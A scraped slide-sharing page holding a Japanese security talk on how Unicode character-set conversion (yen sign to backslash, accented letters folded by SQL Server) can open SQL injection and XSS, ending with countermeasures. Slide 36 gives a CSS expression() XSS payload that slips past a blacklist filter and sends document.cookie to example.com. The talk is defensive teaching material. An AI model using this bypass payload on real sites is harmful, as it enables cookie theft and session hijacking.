Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
EN
Uploaded by
Hiroshi Tokumaru
4,744 views
UnicodeによるXSSとSQLインジェクションの可能性
SQL Server使用時の文字コード変換の注意など
Technology
◦
Read more
4
Save
Share
Embed
Embed presentation
1
/ 40
2
/ 40
3
/ 40
4
/ 40
5
/ 40
6
/ 40
7
/ 40
8
/ 40
9
/ 40
10
/ 40
11
/ 40
12
/ 40
13
/ 40
14
/ 40
15
/ 40
16
/ 40
17
/ 40
18
/ 40
19
/ 40
20
/ 40
21
/ 40
Most read
22
/ 40
23
/ 40
Most read
24
/ 40
25
/ 40
26
/ 40
27
/ 40
28
/ 40
29
/ 40
30
/ 40
31
/ 40
32
/ 40
33
/ 40
34
/ 40
35
/ 40
36
/ 40
Most read
37
/ 40
38
/ 40
39
/ 40
40
/ 40
More Related Content
PDF
XSS再入門
by
Hiroshi Tokumaru
PDF
[AWS EXpert Online for JAWS-UG 18] 見せてやるよ、Step Functions の本気ってやつをな
by
Amazon Web Services Japan
PDF
KafkaとAWS Kinesisの比較
by
Yoshiyasu SAEKI
PDF
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
by
Naoki Nagazumi
PDF
20200630 AWS Black Belt Online Seminar Amazon Cognito
by
Amazon Web Services Japan
PDF
とある診断員とSQLインジェクション
by
zaki4649
PPTX
Keycloak入門
by
Hiroyuki Wada
PDF
マルチテナント化で知っておきたいデータベースのこと
by
Amazon Web Services Japan
XSS再入門
by
Hiroshi Tokumaru
[AWS EXpert Online for JAWS-UG 18] 見せてやるよ、Step Functions の本気ってやつをな
by
Amazon Web Services Japan
KafkaとAWS Kinesisの比較
by
Yoshiyasu SAEKI
アプリ開発で知っておきたい認証技術 - OAuth 1.0 + OAuth 2.0 + OpenID Connect -
by
Naoki Nagazumi
20200630 AWS Black Belt Online Seminar Amazon Cognito
by
Amazon Web Services Japan
とある診断員とSQLインジェクション
by
zaki4649
Keycloak入門
by
Hiroyuki Wada
マルチテナント化で知っておきたいデータベースのこと
by
Amazon Web Services Japan
What's hot
PPTX
Keycloakのステップアップ認証について
by
Hitachi, Ltd. OSS Solution Center.
PDF
Railsで作るBFFの功罪
by
Recruit Lifestyle Co., Ltd.
PDF
文字コードに起因する脆弱性とその対策(増補版)
by
Hiroshi Tokumaru
PPTX
Helidon 概要
by
オラクルエンジニア通信
PDF
こんなに使える!今どきのAPIドキュメンテーションツール
by
dcubeio
PDF
最近のBurp Suiteについて調べてみた
by
zaki4649
PDF
人生がときめくAPIテスト自動化 with Karate
by
Takanori Suzuki
PDF
ログ管理のベストプラクティス
by
Akihiro Kuwano
PDF
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
by
Masaru Kurahayashi
PDF
Where狙いのキー、order by狙いのキー
by
yoku0825
PDF
20190814 AWS Black Belt Online Seminar AWS Serverless Application Model
by
Amazon Web Services Japan
PDF
[AKIBA.AWS] VGWのルーティング仕様
by
Shuji Kikuchi
PDF
マイクロサービス 4つの分割アプローチ
by
増田 亨
PDF
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
by
Amazon Web Services Japan
PDF
例外設計における大罪
by
Takuto Wada
PDF
【Spring fest 2019】徹底解剖Spring MVCアーキテクチャー
by
ssuser070fa9
PDF
今からでも遅くないDBマイグレーション - Flyway と SchemaSpy の紹介 -
by
onozaty
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
PPTX
Bapp Storeを調べてみたよ!
by
zaki4649
PDF
Security-JAWS #21 Well-ArchitectedなIAMポリシーに挑戦する(改) 〜最小権限の原則を実装ってどゆこと?〜
by
Takamasa Ohtake
Keycloakのステップアップ認証について
by
Hitachi, Ltd. OSS Solution Center.
Railsで作るBFFの功罪
by
Recruit Lifestyle Co., Ltd.
文字コードに起因する脆弱性とその対策(増補版)
by
Hiroshi Tokumaru
Helidon 概要
by
オラクルエンジニア通信
こんなに使える!今どきのAPIドキュメンテーションツール
by
dcubeio
最近のBurp Suiteについて調べてみた
by
zaki4649
人生がときめくAPIテスト自動化 with Karate
by
Takanori Suzuki
ログ管理のベストプラクティス
by
Akihiro Kuwano
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
by
Masaru Kurahayashi
Where狙いのキー、order by狙いのキー
by
yoku0825
20190814 AWS Black Belt Online Seminar AWS Serverless Application Model
by
Amazon Web Services Japan
[AKIBA.AWS] VGWのルーティング仕様
by
Shuji Kikuchi
マイクロサービス 4つの分割アプローチ
by
増田 亨
AWS Black Belt Online Seminar 2018 Amazon DynamoDB Advanced Design Pattern
by
Amazon Web Services Japan
例外設計における大罪
by
Takuto Wada
【Spring fest 2019】徹底解剖Spring MVCアーキテクチャー
by
ssuser070fa9
今からでも遅くないDBマイグレーション - Flyway と SchemaSpy の紹介 -
by
onozaty
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
Bapp Storeを調べてみたよ!
by
zaki4649
Security-JAWS #21 Well-ArchitectedなIAMポリシーに挑戦する(改) 〜最小権限の原則を実装ってどゆこと?〜
by
Takamasa Ohtake
Viewers also liked
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
by
Hiroshi Tokumaru
PDF
今日こそわかる、安全なWebアプリの作り方2010
by
Hiroshi Tokumaru
PDF
CSPの話〜FxOSチューン☆〜
by
Yu Yagihashi
PDF
CSP Lv.2の話
by
Yu Yagihashi
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
by
Hiroshi Tokumaru
PDF
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
by
Hiroshi Tokumaru
PDF
ガラケーで楽しむオレJSの勧め
by
Hiroshi Tokumaru
PDF
徳丸本ができるまで
by
Hiroshi Tokumaru
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PDF
文字コードに起因する脆弱性とその対策
by
Hiroshi Tokumaru
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
PDF
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
by
Hiroshi Tokumaru
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
PDF
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
PDF
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
PDF
ログイン前セッションフィクセイション攻撃の脅威と対策
by
Hiroshi Tokumaru
PPTX
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
by
Hiroshi Tokumaru
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
PDF
いまさら聞けないパスワードの取り扱い方
by
Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?
by
Hiroshi Tokumaru
今日こそわかる、安全なWebアプリの作り方2010
by
Hiroshi Tokumaru
CSPの話〜FxOSチューン☆〜
by
Yu Yagihashi
CSP Lv.2の話
by
Yu Yagihashi
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
by
Hiroshi Tokumaru
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
by
Hiroshi Tokumaru
ガラケーで楽しむオレJSの勧め
by
Hiroshi Tokumaru
徳丸本ができるまで
by
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策
by
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
by
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
ログイン前セッションフィクセイション攻撃の脅威と対策
by
Hiroshi Tokumaru
PHPカンファレンス2009 - 45分で分かる安全なWebアプリケーション開発のための発注・要件・検収
by
Hiroshi Tokumaru
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
いまさら聞けないパスワードの取り扱い方
by
Hiroshi Tokumaru
Similar to UnicodeによるXSSとSQLインジェクションの可能性
PDF
PostgreSQL Unconference #29 Unicode IVS
by
Noriyoshi Shinoda
PPTX
Unicode文字列処理
by
信之 岩永
PDF
文字コード基礎論A
by
京大 マイコンクラブ
PPTX
文字コードのお話
by
Shunji Konishi
PPTX
JIS2004 with Windows SDK
by
Kazushi Kamegawa
PDF
Unicodeについて教えてgooでしつこくきいてみたよ♪
by
1000 VICKY
PDF
文字コードとセキュリティ
by
Kenta Yamamoto
PDF
Web技術勉強会 第34回
by
龍一 田中
PDF
MySQL日本語利用徹底入門
by
Mikiya Okuno
PostgreSQL Unconference #29 Unicode IVS
by
Noriyoshi Shinoda
Unicode文字列処理
by
信之 岩永
文字コード基礎論A
by
京大 マイコンクラブ
文字コードのお話
by
Shunji Konishi
JIS2004 with Windows SDK
by
Kazushi Kamegawa
Unicodeについて教えてgooでしつこくきいてみたよ♪
by
1000 VICKY
文字コードとセキュリティ
by
Kenta Yamamoto
Web技術勉強会 第34回
by
龍一 田中
MySQL日本語利用徹底入門
by
Mikiya Okuno
More from Hiroshi Tokumaru
PPTX
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
PPT
SQLインジェクション再考
by
Hiroshi Tokumaru
PPTX
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
PPTX
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
PPTX
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
PPTX
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
PPTX
秀スクリプトの話
by
Hiroshi Tokumaru
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
PPTX
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの常識
by
Hiroshi Tokumaru
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
PDF
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
PPTX
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
SQLインジェクション再考
by
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
秀スクリプトの話
by
Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
ウェブセキュリティの常識
by
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
UnicodeによるXSSとSQLインジェクションの可能性
1.
Unicode による XSS
と SQL インジェクションの可能性 HASH サルティング株式会社 徳丸 浩
2.
自己紹介
3.
今日は漢字の人です
4.
横浜で ちっちゃな会社 やってます
5.
Web アプリが専門ですが、色々やります
6.
WAF について書いたりしています
7.
それでは始めます
8.
本日のテーマは
9.
文字コード
10.
文字コードって何 ?
11.
文字コード = 文字集合
+ 文字エンコーディング
12.
文字エンコーディングネタは結構ある 冗長な UTF-8
エンコーディング パストラバーサルなど 半端な先行バイトによる XSS UTF-7 による XSS Shift_JIS の 5C 問題 しかし
13.
本日のテーマは
14.
文字集合
15.
文字集合って何 ? 文字通り,文字の集まり
もじもじ
16.
この辺があやしい
17.
特にやばそうなところ (*1) US-ASCII
は 7 ビットのコードなので,最上位ビットを無視する結果, 0x25 すなわち「 % 」として扱われる (*2) 中黒(なかぐろ) 0x5C 0xA5 US-ASCII % (*1) JIS X 0201 ¥ ・ (*2) ISO-8859-1 ¥ Unicode ¥
18.
文字集合を変換すると ?
19.
多対一の変換が起こるかどうかは実装依存 ASP.NET 「
\ 」 U+00A5 -> ? Perl 「 \ 」 U+00A5 -> ? PHP 「 \ 」 U+00A5 -> ¥ ( 全角 ) Java 「 \ 」 U+00A5 -> (0x5C) 注目 10 万超の文字を変換して確認するだけの簡単なお仕事です
20.
U+00A5 による SQL
インジェクション (MySQL+JDBC) エスケープ( ' -> ' ' ) Unicode -> EUC-JP
21.
U+00A5 による SQL
インジェクション (MySQL+JDBC)
22.
XSS はどうか ?
23.
U+00A5 -> 0x5C
の変換による XSS はあり得る
24.
が, JavaScript を動的生成する場合などに限られる
25.
現実的に発生し得るが
26.
そもそも JavaScript の動的生成ってどうよ
orz
27.
他にないのか ?
28.
SQL Server の例
SQL Server が Unicode で列の値を保存するための条件 列の型を nchar , nvarchar にする (char , varchar はだめ ) 文字列リテラルを N'....' と記述する ('....' ではだめ ) 上記を怠ると, Unicode->CP932 への変換が起こる
29.
CP932 と断定していいのか ?
30.
非 Unicode への変換が起こっていることは確かだが
CP932 と 断定できない orz
31.
SQL Server の例
SQL Server が Unicode で列の値を保存するための条件 列の型を nchar , nvarchar にする (char , varchar はだ め ) 文字列リテラルを N'....' と記述する ( '....' ではだめ ) 上記を怠ると, Unicode->CP932 への変換が起こる っぽい 変換の例 è -> e é -> e ê -> e ë -> e
32.
これをどう活用するか
33.
か,活用かよ orz
34.
悪影響の例 :CSS の
XSS 対策
35.
ブラックリスト
36.
XSS 対策が回避されるパターン 元の入力
.main { color: è xp ®éßßïòñ (document.location= ”http://example.com?”+document.cookie); } XSS 対策ルーチンを通るが è xp ®éßßïòñ はフィルタを回避される SQL Server に Insert 。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } CSS を使って表示すると, JavaScript が実行され Cookie 値が漏洩する はてなは EUC-JP だから大丈夫 ? (SQL Server でもない )
37.
対策 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある
wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど その場合は…
38.
対策 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある
wassr.jp のように, PC 向けは Unicode , 携帯電話向けは Shift_JIS の対応が必要なサイトなど その場合は… 続きは Web で ITpro Security で
39.
第 5 回~第
6 回の 5 回で文字コード説明します
40.
ご清聴ありがとうございました